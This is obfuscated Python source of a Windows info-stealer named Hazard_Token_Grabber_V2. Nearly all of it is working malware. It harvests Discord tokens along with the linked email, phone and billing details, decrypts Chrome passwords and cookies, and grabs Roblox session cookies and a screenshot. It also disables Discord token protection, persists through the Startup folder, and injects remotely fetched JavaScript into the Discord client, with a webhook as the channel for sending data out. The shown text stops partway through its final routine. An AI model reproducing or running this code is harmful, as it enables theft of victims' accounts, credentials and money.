import os #line:1
import json #line:2
import httpx #line:3
import ctypes #line:4
import shutil #line:5
import psutil #line:6
import asyncio #line:7
import sqlite3 #line:8
import zipfile #line:9
import threading #line:10
import subprocess #line:11
from time import sleep #line:13
from rich .console import Console #line:14
from sys import argv #line:15
from PIL import ImageGrab #line:16
from base64 import b64decode #line:17
from re import findall ,match #line:18
from Crypto .Cipher import AES #line:19
from win32crypt import CryptUnprotectData #line:20
config ={'updater':b64decode (b64decode (b64decode ("WEBHOOK IN BASE64 3 TIMES"))).decode ("utf-8"),'testing_url':b64decode ("aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL1JkaW1vL0Rpc2NvcmQtSW5qZWN0aW9uL21hc3Rlci9pbmplY3Rpb24uanM").decode ("utf-8"),'tryv1':True ,'tryv2':True ,'tryv3':True }#line:33
class functions (object ):#line:36
    @staticmethod #line:37
    def getHeaders (O0OOOOOO0O00O00OO :str =None ):#line:38
        O00000O0000OOOOO0 ={"Content-Type":"application/json",}#line:41
        if O0OOOOOO0O00O00OO :#line:42
            O00000O0000OOOOO0 .update ({"Authorization":O0OOOOOO0O00O00OO })#line:43
        return O00000O0000OOOOO0 #line:44
    @staticmethod #line:46
    def get_master_key (OO0O000O00000O0OO )->str :#line:47
        with open (OO0O000O00000O0OO ,"r",encoding ="utf-8")as O0O0OO000OOO00OO0 :#line:48
            OOOOOO00O0O000000 =O0O0OO000OOO00OO0 .read ()#line:49
        O00000000O0O0OO0O =json .loads (OOOOOO00O0O000000 )#line:50
        OO00O0O0OOOOO0O0O =b64decode (O00000000O0O0OO0O ["os_crypt"]["encrypted_key"])#line:52
        OO00O0O0OOOOO0O0O =OO00O0O0OOOOO0O0O [5 :]#line:53
        OO00O0O0OOOOO0O0O =CryptUnprotectData (OO00O0O0OOOOO0O0O ,None ,None ,None ,0 )[1 ]#line:54
        return OO00O0O0OOOOO0O0O #line:55
    @staticmethod #line:57
    def decrypt_val (O0000OOOO0OOO00O0 ,O00O00O0O00O000OO )->str :#line:58
        try :#line:59
            OOO0OO0O0O0O0O0O0 =O0000OOOO0OOO00O0 [3 :15 ]#line:60
            O000000O00OOO00O0 =O0000OOOO0OOO00O0 [15 :]#line:61
            O0000OOOO000OO000 =AES .new (O00O00O0O00O000OO ,AES .MODE_GCM ,OOO0OO0O0O0O0O0O0 )#line:62
            OO000O00O0OO0OOO0 =O0000OOOO000OO000 .decrypt (O000000O00OOO00O0 )#line:63
            OO000O00O0OO0OOO0 =OO000O00O0OO0OOO0 [:-16 ].decode ()#line:64
            return OO000O00O0OO0OOO0 #line:65
        except Exception :#line:66
            return "Failed to decrypt password"#line:67
    @staticmethod #line:69
    def config (OO0O00O0OOO000OOO :str )->str or bool |None :#line:70
        return config .get (OO0O00O0OOO000OOO )#line:71
class Hazard_Token_Grabber_V2 (functions ):#line:74
    def __init__ (O00OO00OO0O0O00OO ):#line:75
        O00OO00OO0O0O00OO .webhook =O00OO00OO0O0O00OO .config ('updater')#line:76
        O00OO00OO0O0O00OO .baseurl ="https://discord.com/api/v9/users/@me"#line:77
        O00OO00OO0O0O00OO .appdata =os .getenv ("localappdata")#line:78
        O00OO00OO0O0O00OO .roaming =os .getenv ("appdata")#line:79
        O00OO00OO0O0O00OO .temp =os .getenv ("temp")#line:80
        O00OO00OO0O0O00OO .startup =O00OO00OO0O0O00OO .roaming +"\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"#line:81
        O00OO00OO0O0O00OO .dir =O00OO00OO0O0O00OO .temp +"\\Hazard_Token_Grabber_V2"#line:82
        O00OO00OO0O0O00OO .regex =r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}",r"mfa\.[\w-]{84}"#line:83
        O00OO00OO0O0O00OO .encrypted_regex =r"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*"#line:84
        try :#line:86
            os .mkdir (os .path .join (O00OO00OO0O0O00OO .dir ))#line:87
        except Exception :#line:88
            pass #line:89
        O00OO00OO0O0O00OO .sep =os .sep #line:91
        O00OO00OO0O0O00OO .tokens =[]#line:92
        O00OO00OO0O0O00OO .robloxcookies =[]#line:93
    def try_extract (OO00OO0OOOOOOOO00 ):#line:95
        def O000O0000000O0OOO (*O0000OO000OOO0OO0 ,**O0O000OOO0OOO0O0O ):#line:96
            try :#line:97
                OO00OO0OOOOOOOO00 (*O0000OO000OOO0OO0 ,**O0O000OOO0OOO0O0O )#line:98
            except Exception :#line:99
                pass #line:100
        return O000O0000000O0OOO #line:101
    async def checkToken (OOO00OO00OOO00O00 ,OOOO0O000000OOOOO :str )->str :#line:103
        try :#line:104
            OOO0O000OOOO00000 =httpx .get (url =OOO00OO00OOO00O00 .baseurl ,headers =OOO00OO00OOO00O00 .getHeaders (OOOO0O000000OOOOO ),timeout =5.0 )#line:109
        except (httpx ._exceptions .ConnectTimeout ,httpx ._exceptions .TimeoutException ):#line:110
            pass #line:111
        if OOO0O000OOOO00000 .status_code ==200 and OOOO0O000000OOOOO not in OOO00OO00OOO00O00 .tokens :#line:112
            OOO00OO00OOO00O00 .tokens .append (OOOO0O000000OOOOO )#line:113
    async def init (O0OOO00OOOO000O00 ):#line:115
        await O0OOO00OOOO000O00 .bypassBetterDiscord ()#line:116
        await O0OOO00OOOO000O00 .bypassTokenProtector ()#line:117
        OO00OO0OO000OO0O0 =[O0OOO00OOOO000O00 .screenshot ,O0OOO00OOOO000O00 .grabTokens ,O0OOO00OOOO000O00 .grabRobloxCookie ]#line:119
        if O0OOO00OOOO000O00 .config ('tryv3'):#line:120
            OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .hide )#line:121
        if O0OOO00OOOO000O00 .config ('tryv1'):#line:123
            OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .killDiscord )#line:124
        if O0OOO00OOOO000O00 .config ('tryv2'):#line:126
            OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .startup )#line:127
        if os .path .exists (O0OOO00OOOO000O00 .appdata +'\\Google\\Chrome\\User Data\\Default')and os .path .exists (O0OOO00OOOO000O00 .appdata +'\\Google\\Chrome\\User Data\\Local State'):#line:129
            OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .grabPassword )#line:130
            OO00OO0OO000OO0O0 .append (O0OOO00OOOO000O00 .grabCookies )#line:131
        for OO0OO0000OOO0OOO0 in OO00OO0OO000OO0O0 :#line:133
            O0000O00OOO0OO000 =threading .Thread (target =OO0OO0000OOO0OOO0 ,daemon =True )#line:134
            O0000O00OOO0OO000 .start ()#line:135
        for OOO0OO00O0OOO000O in threading .enumerate ():#line:136
            try :#line:137
                OOO0OO00O0OOO000O .join ()#line:138
            except RuntimeError :#line:139
                continue #line:140
        O0OOO00OOOO000O00 .neatifyTokens ()#line:141
        await O0OOO00OOOO000O00 .injector ()#line:142
        O0OOO00OOOO000O00 .finish ()#line:143
        shutil .rmtree (O0OOO00OOOO000O00 .dir )#line:144
    def hide (OO00O0OOO00O000O0 ):#line:146
        ctypes .windll .kernel32 .SetFileAttributesW (argv [0 ],2 )#line:147
    def startup (OOO0OOOOOO0O000O0 ):#line:149
        try :#line:150
            shutil .copy2 (argv [0 ],OOO0OOOOOO0O000O0 .startup )#line:151
        except Exception :#line:152
            pass #line:153
    async def injector (OO0000O0OOO0O00O0 ):#line:155
        for _O0O0O00O0OO00000O in os .listdir (OO0000O0OOO0O00O0 .appdata ):#line:156
            if 'discord'in _O0O0O00O0OO00000O .lower ():#line:157
                O0O00OO000000O0O0 =OO0000O0OOO0O00O0 .appdata +OO0000O0OOO0O00O0 .sep +_O0O0O00O0OO00000O #line:158
                OOOOOOO00O00OO000 =O0O00OO000000O0O0 +OO0000O0OOO0O00O0 .sep #line:159
                for __OO00O00OO00O00000 in os .listdir (os .path .abspath (O0O00OO000000O0O0 )):#line:160
                    if match (r'app-(\d*\.\d*)*',__OO00O00OO00O00000 ):#line:161
                        O0OOO00O00O0O0O00 =os .path .abspath (OOOOOOO00O00OO000 +__OO00O00OO00O00000 )#line:162
                        O00O0OOO0OOO0OO00 =O0OOO00O00O0O0O00 +'\\modules\\discord_desktop_core-3\\discord_desktop_core\\'#line:163
                        if os .path .exists (O00O0OOO0OOO0OO00 ):#line:164
                            if OO0000O0OOO0O00O0 .startup not in argv [0 ]:#line:165
                                try :#line:166
                                    os .makedirs (O00O0OOO0OOO0OO00 +'initiation',exist_ok =True )#line:168
                                except (FileExistsError ,PermissionError ):#line:169
                                    pass #line:170
                            OO000OO000OO00O00 =httpx .get (OO0000O0OOO0O00O0 .config ('testing_url')).text .replace ("%WEBHOOK%",OO0000O0OOO0O00O0 .webhook )#line:172
                            with open (O00O0OOO0OOO0OO00 +'index.js','w',errors ="ignore")as O0O000OO0O0O0O000 :#line:173
                                O0O000OO0O0O0O000 .write (OO000OO000OO00O00 )#line:174
                            os .startfile (O0OOO00O00O0O0O00 +OO0000O0OOO0O00O0 .sep +_O0O0O00O0OO00000O +'.exe')#line:175
    def killDiscord (OO0O00OO000OOOO0O ):#line:177
        for OO000OO00000OO0OO in psutil .process_iter ():#line:178
            if any (O0000O0O0O0O0O000 in OO000OO00000OO0OO .name ().lower ()for O0000O0O0O0O0O000 in ['discord','discordtokenprotector','discordcanary','discorddevelopment','discordptb']):#line:180
                try :#line:181
                    OO000OO00000OO0OO .kill ()#line:182
                except (psutil .NoSuchProcess ,psutil .AccessDenied ):#line:183
                    pass #line:184
    async def bypassTokenProtector (OOO0OOOO0OOOOO0O0 ):#line:186
        OOO0OO0OO00OOOO00 =f"{OOO0OOOO0OOOOO0O0.roaming}\\DiscordTokenProtector\\"#line:188
        O0O0O00O00000OO00 =OOO0OO0OO00OOOO00 +"config.json"#line:189
        for OO000000OOOOO0O0O in ["DiscordTokenProtector.exe","ProtectionPayload.dll","secure.dat"]:#line:191
            try :#line:192
                os .remove (OOO0OO0OO00OOOO00 +OO000000OOOOO0O0O )#line:193
            except FileNotFoundError :#line:194
                pass #line:195
        if os .path .exists (O0O0O00O00000OO00 ):#line:196
            with open (O0O0O00O00000OO00 ,errors ="ignore")as OOOOOO00O0OOO00OO :#line:197
                try :#line:198
                    O0OO000OO00O000O0 =json .load (OOOOOO00O0OOO00OO )#line:199
                except json .decoder .JSONDecodeError :#line:200
                    return #line:201
                O0OO000OO00O000O0 ['Rdimo_just_shit_on_this_token_protector']="https://github.com/Rdimo"#line:202
                O0OO000OO00O000O0 ['auto_start']=False #line:203
                O0OO000OO00O000O0 ['auto_start_discord']=False #line:204
                O0OO000OO00O000O0 ['integrity']=False #line:205
                O0OO000OO00O000O0 ['integrity_allowbetterdiscord']=False #line:206
                O0OO000OO00O000O0 ['integrity_checkexecutable']=False #line:207
                O0OO000OO00O000O0 ['integrity_checkhash']=False #line:208
                O0OO000OO00O000O0 ['integrity_checkmodule']=False #line:209
                O0OO000OO00O000O0 ['integrity_checkscripts']=False #line:210
                O0OO000OO00O000O0 ['integrity_checkresource']=False #line:211
                O0OO000OO00O000O0 ['integrity_redownloadhashes']=False #line:212
                O0OO000OO00O000O0 ['iterations_iv']=364 #line:213
                O0OO000OO00O000O0 ['iterations_key']=457 #line:214
                O0OO000OO00O000O0 ['version']=69420 #line:215
            with open (O0O0O00O00000OO00 ,'w')as OOOOOO00O0OOO00OO :#line:216
                json .dump (O0OO000OO00O000O0 ,OOOOOO00O0OOO00OO ,indent =2 ,sort_keys =True )#line:217
            with open (O0O0O00O00000OO00 ,'a')as OOOOOO00O0OOO00OO :#line:218
                OOOOOO00O0OOO00OO .write ("\n\n//Rdimo just shit on this token protector | https://github.com/Rdimo")#line:220
    async def bypassBetterDiscord (O0O0O0OO00OO0O000 ):#line:222
        OO00000OO00O0OOO0 =O0O0O0OO00OO0O000 .roaming +"\\BetterDiscord\\data\\betterdiscord.asar"#line:223
        if os .path .exists (OO00000OO00O0OOO0 ):#line:224
            O000OOO0OOOO000O0 ="api/webhooks"#line:225
            with open (OO00000OO00O0OOO0 ,'r',encoding ="cp437",errors ='ignore')as OO00O000000O00OO0 :#line:226
                O00OO000O00000OO0 =OO00O000000O00OO0 .read ()#line:227
                O00OOO00000O00000 =O00OO000O00000OO0 .replace (O000OOO0OOOO000O0 ,'RdimoTheGoat')#line:228
            with open (OO00000OO00O0OOO0 ,'w',newline ='',encoding ="cp437",errors ='ignore')as OO00O000000O00OO0 :#line:229
                OO00O000000O00OO0 .write (O00OOO00000O00000 )#line:230
    def getProductValues (OO00O00OO00O0OO00 ):#line:232
        try :#line:233
            O00O00O00O0OO00O0 =subprocess .check_output (r"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault",creationflags =0x08000000 ).decode ().rstrip ()#line:235
        except Exception :#line:236
            O00O00O00O0OO00O0 ="N/A (Likely Pirated)"#line:237
        try :#line:238
            O0OOOO00O0OOO000O =subprocess .check_output (r"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName",creationflags =0x08000000 ).decode ().rstrip ()#line:240
        except Exception :#line:241
            O0OOOO00O0OOO000O ="N/A"#line:242
        return [O0OOOO00O0OOO000O ,O00O00O00O0OO00O0 ]#line:243
    @try_extract #line:245
    def grabTokens (OO0O00O00O0OO0O0O ):#line:246
        O0OOO00O0O00O0000 ={'Discord':OO0O00O00O0OO0O0O .roaming +r'\\discord\\Local Storage\\leveldb\\','Discord Canary':OO0O00O00O0OO0O0O .roaming +r'\\discordcanary\\Local Storage\\leveldb\\','Lightcord':OO0O00O00O0OO0O0O .roaming +r'\\Lightcord\\Local Storage\\leveldb\\','Discord PTB':OO0O00O00O0OO0O0O .roaming +r'\\discordptb\\Local Storage\\leveldb\\','Opera':OO0O00O00O0OO0O0O .roaming +r'\\Opera Software\\Opera Stable\\Local Storage\\leveldb\\','Opera GX':OO0O00O00O0OO0O0O .roaming +r'\\Opera Software\\Opera GX Stable\\Local Storage\\leveldb\\','Amigo':OO0O00O00O0OO0O0O .appdata +r'\\Amigo\\User Data\\Local Storage\\leveldb\\','Torch':OO0O00O00O0OO0O0O .appdata +r'\\Torch\\User Data\\Local Storage\\leveldb\\','Kometa':OO0O00O00O0OO0O0O .appdata +r'\\Kometa\\User Data\\Local Storage\\leveldb\\','Orbitum':OO0O00O00O0OO0O0O .appdata +r'\\Orbitum\\User Data\\Local Storage\\leveldb\\','CentBrowser':OO0O00O00O0OO0O0O .appdata +r'\\CentBrowser\\User Data\\Local Storage\\leveldb\\','7Star':OO0O00O00O0OO0O0O .appdata +r'\\7Star\\7Star\\User Data\\Local Storage\\leveldb\\','Sputnik':OO0O00O00O0OO0O0O .appdata +r'\\Sputnik\\Sputnik\\User Data\\Local Storage\\leveldb\\','Vivaldi':OO0O00O00O0OO0O0O .appdata +r'\\Vivaldi\\User Data\\Default\\Local Storage\\leveldb\\','Chrome SxS':OO0O00O00O0OO0O0O .appdata +r'\\Google\\Chrome SxS\\User Data\\Local Storage\\leveldb\\','Chrome':OO0O00O00O0OO0O0O .appdata +r'\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb\\','Epic Privacy Browser':OO0O00O00O0OO0O0O .appdata +r'\\Epic Privacy Browser\\User Data\\Local Storage\\leveldb\\','Microsoft Edge':OO0O00O00O0OO0O0O .appdata +r'\\Microsoft\\Edge\\User Data\\Defaul\\Local Storage\\leveldb\\','Uran':OO0O00O00O0OO0O0O .appdata +r'\\uCozMedia\\Uran\\User Data\\Default\\Local Storage\\leveldb\\','Yandex':OO0O00O00O0OO0O0O .appdata +r'\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb\\','Brave':OO0O00O00O0OO0O0O .appdata +r'\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Local Storage\\leveldb\\','Iridium':OO0O00O00O0OO0O0O .appdata +r'\\Iridium\\User Data\\Default\\Local Storage\\leveldb\\'}#line:270
        for _OOO000O00O00OOOOO ,O0O000O0O0OOO0OOO in O0OOO00O0O00O0000 .items ():#line:272
            if not os .path .exists (O0O000O0O0OOO0OOO ):#line:273
                continue #line:274
            if "discord"not in O0O000O0O0OOO0OOO :#line:275
                for OO00O00O0OO00OOOO in os .listdir (O0O000O0O0OOO0OOO ):#line:276
                    if not OO00O00O0OO00OOOO .endswith ('.log')and not OO00O00O0OO00OOOO .endswith ('.ldb'):#line:277
                        continue #line:278
                    for OO00000OOO00OO000 in [OOO0O0OO0O0000OO0 .strip ()for OOO0O0OO0O0000OO0 in open (f'{O0O000O0O0OOO0OOO}\\{OO00O00O0OO00OOOO}',errors ='ignore').readlines ()if OOO0O0OO0O0000OO0 .strip ()]:#line:279
                        for OOOO0OO0OO0OO0OO0 in (OO0O00O00O0OO0O0O .regex ):#line:280
                            for OO0OOO000000O0O0O in findall (OOOO0OO0OO0OO0OO0 ,OO00000OOO00OO000 ):#line:281
                                asyncio .run (OO0O00O00O0OO0O0O .checkToken (OO0OOO000000O0O0O ))#line:282
            else :#line:283
                if os .path .exists (OO0O00O00O0OO0O0O .roaming +'\\discord\\Local State'):#line:284
                    for OO00O00O0OO00OOOO in os .listdir (O0O000O0O0OOO0OOO ):#line:285
                        if not OO00O00O0OO00OOOO .endswith ('.log')and not OO00O00O0OO00OOOO .endswith ('.ldb'):#line:286
                            continue #line:287
                        for OO00000OOO00OO000 in [OOOO000OO0OO0OOO0 .strip ()for OOOO000OO0OO0OOO0 in open (f'{O0O000O0O0OOO0OOO}\\{OO00O00O0OO00OOOO}',errors ='ignore').readlines ()if OOOO000OO0OO0OOO0 .strip ()]:#line:288
                            for O00O00OO0OO0OO0OO in findall (OO0O00O00O0OO0O0O .encrypted_regex ,OO00000OOO00OO000 ):#line:289
                                OO0OOO000000O0O0O =OO0O00O00O0OO0O0O .decrypt_val (b64decode (O00O00OO0OO0OO0OO .split ('dQw4w9WgXcQ:')[1 ]),OO0O00O00O0OO0O0O .get_master_key (OO0O00O00O0OO0O0O .roaming +'\\discord\\Local State'))#line:291
                                asyncio .run (OO0O00O00O0OO0O0O .checkToken (OO0OOO000000O0O0O ))#line:292
        if os .path .exists (OO0O00O00O0OO0O0O .roaming +"\\Mozilla\\Firefox\\Profiles"):#line:294
            for O0O000O0O0OOO0OOO ,_OOO000O00O00OOOOO ,OOOO0O0O0000OOO0O in os .walk (OO0O00O00O0OO0O0O .roaming +"\\Mozilla\\Firefox\\Profiles"):#line:295
                for _O00OOOO00000O00O0 in OOOO0O0O0000OOO0O :#line:296
                    if not _O00OOOO00000O00O0 .endswith ('.sqlite'):#line:297
                        continue #line:298
                    for OO00000OOO00OO000 in [O000000O00OO00O00 .strip ()for O000000O00OO00O00 in open (f'{O0O000O0O0OOO0OOO}\\{_O00OOOO00000O00O0}',errors ='ignore').readlines ()if O000000O00OO00O00 .strip ()]:#line:299
                        for OOOO0OO0OO0OO0OO0 in (OO0O00O00O0OO0O0O .regex ):#line:300
                            for OO0OOO000000O0O0O in findall (OOOO0OO0OO0OO0OO0 ,OO00000OOO00OO000 ):#line:301
                                asyncio .run (OO0O00O00O0OO0O0O .checkToken (OO0OOO000000O0O0O ))#line:302
    @try_extract #line:304
    def grabPassword (O0O00OOO0O00OO000 ):#line:305
        OO00OOO0OO00O0O00 =O0O00OOO0O00OO000 .get_master_key (O0O00OOO0O00OO000 .appdata +'\\Google\\Chrome\\User Data\\Local State')#line:307
        OO0OO0OOOOOO0O00O =O0O00OOO0O00OO000 .appdata +'\\Google\\Chrome\\User Data\\default\\Login Data'#line:308
        OO00O00OOOOO0O0OO =O0O00OOO0O00OO000 .temp +O0O00OOO0O00OO000 .sep +"Loginvault1.db"#line:309
        shutil .copy2 (OO0OO0OOOOOO0O00O ,OO00O00OOOOO0O0OO )#line:311
        OO00O0O00OOO0O00O =sqlite3 .connect (OO00O00OOOOO0O0OO )#line:312
        O0O0000O000OOO0O0 =OO00O0O00OOO0O00O .cursor ()#line:313
        with open (O0O00OOO0O00OO000 .dir +"\\Google Passwords.txt","w",encoding ="cp437",errors ='ignore')as O0OO0O0O0O0OO0O00 :#line:314
            O0O0000O000OOO0O0 .execute ("SELECT action_url, username_value, password_value FROM logins")#line:316
            for O00OO00O0O0OOO00O in O0O0000O000OOO0O0 .fetchall ():#line:317
                OOO0O0O000O0OO0O0 =O00OO00O0O0OOO00O [0 ]#line:318
                O000000OOO0O0000O =O00OO00O0O0OOO00O [1 ]#line:319
                O0O00O0O00OOO0O00 =O00OO00O0O0OOO00O [2 ]#line:320
                O0OO0O00000OO0OO0 =O0O00OOO0O00OO000 .decrypt_val (O0O00O0O00OOO0O00 ,OO00OOO0OO00O0O00 )#line:322
                if OOO0O0O000O0OO0O0 !="":#line:323
                    O0OO0O0O0O0OO0O00 .write (f"Domain: {OOO0O0O000O0OO0O0}\nUser: {O000000OOO0O0000O}\nPass: {O0OO0O00000OO0OO0}\n\n")#line:325
        O0O0000O000OOO0O0 .close ()#line:326
        OO00O0O00OOO0O00O .close ()#line:327
        os .remove (OO00O00OOOOO0O0OO )#line:328
    @try_extract #line:330
    def grabCookies (O00OO000O0000OO00 ):#line:331
        OOO0O0OOOO000O000 =O00OO000O0000OO00 .get_master_key (O00OO000O0000OO00 .appdata +'\\Google\\Chrome\\User Data\\Local State')#line:333
        O0O00OOO00000OO0O =O00OO000O0000OO00 .appdata +'\\Google\\Chrome\\User Data\\default\\Network\\cookies'#line:334
        O0O00OOO000OOOO0O =O00OO000O0000OO00 .temp +O00OO000O0000OO00 .sep +"Loginvault2.db"#line:335
        shutil .copy2 (O0O00OOO00000OO0O ,O0O00OOO000OOOO0O )#line:336
        OOOOOO0OO00000O0O =sqlite3 .connect (O0O00OOO000OOOO0O )#line:337
        OOO0O00O00OO00OO0 =OOOOOO0OO00000O0O .cursor ()#line:338
        with open (O00OO000O0000OO00 .dir +"\\Google Cookies.txt","w",encoding ="cp437",errors ='ignore')as O00000OOOOO000OOO :#line:339
            OOO0O00O00OO00OO0 .execute ("SELECT host_key, name, encrypted_value from cookies")#line:341
            for OO00OO0O0O0O0O0O0 in OOO0O00O00OO00OO0 .fetchall ():#line:342
                O00000O000000000O =OO00OO0O0O0O0O0O0 [0 ]#line:343
                OOOOOOOO0000O0000 =OO00OO0O0O0O0O0O0 [1 ]#line:344
                O0OOO0OO0OOO0O00O =O00OO000O0000OO00 .decrypt_val (OO00OO0O0O0O0O0O0 [2 ],OOO0O0OOOO000O000 )#line:345
                if O00000O000000000O !="":#line:346
                    O00000OOOOO000OOO .write (f"Host: {O00000O000000000O}\nUser: {OOOOOOOO0000O0000}\nCookie: {O0OOO0OO0OOO0O00O}\n\n")#line:348
                if '_|WARNING:-DO-NOT-SHARE-THIS.--Sharing-this-will-allow-someone-to-log-in-as-you-and-to-steal-your-ROBUX-and-items.|_'in O0OOO0OO0OOO0O00O :#line:349
                    O00OO000O0000OO00 .robloxcookies .append (O0OOO0OO0OOO0O00O )#line:350
        OOO0O00O00OO00OO0 .close ()#line:351
        OOOOOO0OO00000O0O .close ()#line:352
        os .remove (O0O00OOO000OOOO0O )#line:353
    def neatifyTokens (O0OOOOOO00OOOOOO0 ):#line:355
        OO0O000OO00OOOO0O =open (O0OOOOOO00OOOOOO0 .dir +"\\Discord Info.txt","w",encoding ="cp437",errors ='ignore')#line:357
        for O0O0OOOO00000O00O in O0OOOOOO00OOOOOO0 .tokens :#line:358
            OOO0000O00OO0OO0O =httpx .get (O0OOOOOO00OOOOOO0 .baseurl ,headers =O0OOOOOO00OOOOOO0 .getHeaders (O0O0OOOO00000O00O )).json ()#line:360
            O0O00OOOO00000OOO =OOO0000O00OO0OO0O .get ('username')+'#'+str (OOO0000O00OO0OO0O .get ("discriminator"))#line:361
            OO00O0OOO0O0O00O0 =""#line:363
            O00OOOO00O00O0O00 =OOO0000O00OO0OO0O ['flags']#line:364
            O00OOOO00O00O0O00 =OOO0000O00OO0OO0O ['flags']#line:365
            if (O00OOOO00O00O0O00 ==1 ):#line:366
                OO00O0OOO0O0O00O0 +="Staff, "#line:367
            if (O00OOOO00O00O0O00 ==2 ):#line:368
                OO00O0OOO0O0O00O0 +="Partner, "#line:369
            if (O00OOOO00O00O0O00 ==4 ):#line:370
                OO00O0OOO0O0O00O0 +="Hypesquad Event, "#line:371
            if (O00OOOO00O00O0O00 ==8 ):#line:372
                OO00O0OOO0O0O00O0 +="Green Bughunter, "#line:373
            if (O00OOOO00O00O0O00 ==64 ):#line:374
                OO00O0OOO0O0O00O0 +="Hypesquad Bravery, "#line:375
            if (O00OOOO00O00O0O00 ==128 ):#line:376
                OO00O0OOO0O0O00O0 +="HypeSquad Brillance, "#line:377
            if (O00OOOO00O00O0O00 ==256 ):#line:378
                OO00O0OOO0O0O00O0 +="HypeSquad Balance, "#line:379
            if (O00OOOO00O00O0O00 ==512 ):#line:380
                OO00O0OOO0O0O00O0 +="Early Supporter, "#line:381
            if (O00OOOO00O00O0O00 ==16384 ):#line:382
                OO00O0OOO0O0O00O0 +="Gold BugHunter, "#line:383
            if (O00OOOO00O00O0O00 ==131072 ):#line:384
                OO00O0OOO0O0O00O0 +="Verified Bot Developer, "#line:385
            if (OO00O0OOO0O0O00O0 ==""):#line:386
                OO00O0OOO0O0O00O0 ="None"#line:387
            OOO000O000O0O0OOO =OOO0000O00OO0OO0O .get ("email")#line:388
            OOO0OO000OO00O0O0 =OOO0000O00OO0OO0O .get ("phone")if OOO0000O00OO0OO0O .get ("phone")else "No Phone Number attached"#line:390
            OOOO00O000OO0OOOO =httpx .get (O0OOOOOO00OOOOOO0 .baseurl +'/billing/subscriptions',headers =O0OOOOOO00OOOOOO0 .getHeaders (O0O0OOOO00000O00O )).json ()#line:392
            O0OOO00OO0OO0O0O0 =False #line:393
            O0OOO00OO0OO0O0O0 =bool (len (OOOO00O000OO0OOOO )>0 )#line:394
            O0OOOOOOO0OOOO0O0 =bool (len (json .loads (httpx .get (O0OOOOOO00OOOOOO0 .baseurl +"/billing/payment-sources",headers =O0OOOOOO00OOOOOO0 .getHeaders (O0O0OOOO00000O00O )).text ))>0 )#line:396
            OO0O000OO00OOOO0O .write (f"{' '*17}{O0O00OOOO00000OOO}\n{'-'*50}\nToken: {O0O0OOOO00000O00O}\nHas Billing: {O0OOOOOOO0OOOO0O0}\nNitro: {O0OOO00OO0OO0O0O0}\nBadges: {OO00O0OOO0O0O00O0}\nEmail: {OOO000O000O0O0OOO}\nPhone: {OOO0OO000OO00O0O0}\n\n")#line:397
        OO0O000OO00OOOO0O .close ()#line:398
    def grabRobloxCookie (O000O0O00000OO00O ):#line:400
        def OO0O0O0O00000OO00 (O000000O00OOOO0O0 ):#line:401
            try :#line:402
                return subprocess .check_output (fr"powershell Get-ItemPropertyValue -Path {O000000O00OOOO0O0}:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY",creationflags =0x08000000 ).decode ().rstrip ()#line:405
            except Exception :#line:406
                return None #line:407
        O0OOOOOOO00000000 =OO0O0O0O00000OO00 (r'HKLM')#line:408
        if not O0OOOOOOO00000000 :#line:409
            O0OOOOOOO00000000 =OO0O0O0O00000OO00 (r'HKCU')#line:410
        if O0OOOOOOO00000000 :#line:411
            O000O0O00000OO00O .robloxcookies .append (O0OOOOOOO00000000 )#line:412
        if O000O0O00000OO00O .robloxcookies :#line:413
            with open (O000O0O00000OO00O .dir +"\\Roblox Cookies.txt","w")as OO00O000OO00000OO :#line:414
                for OOOO0O0O0OOO0OO00 in O000O0O00000OO00O .robloxcookies :#line:415
                    OO00O000OO00000OO .write (OOOO0O0O0OOO0OO00 +'\n')#line:416
    def screenshot (O000OOO000O0OOOO0 ):#line:418
        OO0OOO00OO0O000OO =ImageGrab .grab (bbox =None ,include_layered_windows =False ,all_screens =True ,xdisplay =None )#line:424
        OO0OOO00OO0O000OO .save (O000OOO000O0OOOO0 .dir +"\\Screenshot.png")#line:425
        OO0OOO00OO0O000OO .close ()#line:426
    def finish (O000O0O00O0O0OOOO ):#line:428
        for OO00OO0O0O0000O00 in os .listdir (O000O0O00O0O0OOOO .dir ):#line:429
            if OO00OO0O0O0000O00 .endswith ('.txt'):#line:430
                O0OO0000O00O0O0O0 =O000O0O00O0O0OOOO .dir +O000O0O00O0O0OOOO .sep +OO00OO0O0O0000O00 #line:431
                with open (O0OO0000O00O0O0O0 ,"r",errors ="ignore")as OOOO0OOOOO00O00OO :#line:432
                    OOOO0OOO0O000O00O =OOOO0OOOOO00O00OO .read ()#line:433
                    if not OOOO0OOO0O000O00O :#line:434
                        try :#line:435
                            os .remove (O0OO0000O00O0O0O0 )#line:436
                        except PermissionError :#line:437
                            pass #line:438
                    with open (O0OO0000O00O0O0O0 ,"w",encoding ="utf-8")as OO000OOO000O0OOOO :#line:439
                        OO000OOO000O0OOOO .write ("🌟・Grabber By github.com/Rdimo・https://github.com/Rdimo/Hazard-Token-Grabber-V2\n\n")#line:441
                    with open (O0OO0000O00O0O0O0 ,"a",encoding ="utf-8")as OO000OO0OOOOO00OO :#line:442
                        OO000OO0OOOOO00OO .write (OOOO0OOO0O000O00O +"\n\n🌟・Grabber By github.com/Rdimo・https://github.com/Rdimo/Hazard-Token-Grabber-V2")#line:444
        O00OOOO0O00O00OO0 =O000O0O00O0O0OOOO .getProductValues ()#line:445
        OO0O0OOOO00OOO0O0 =O00OOOO0O00O00OO0 [0 ].replace (" ","᠎ ")#line:446
        OO00O00OO0O0OO000 =O00OOOO0O00O00OO0 [1 ].replace (" ","᠎ ")#line:447
        OOOOOO000O0OO0OO0 =str (psutil .virtual_memory ()[0 ]/1024 /1024 /1024 ).split (".")[0 ]#line:448
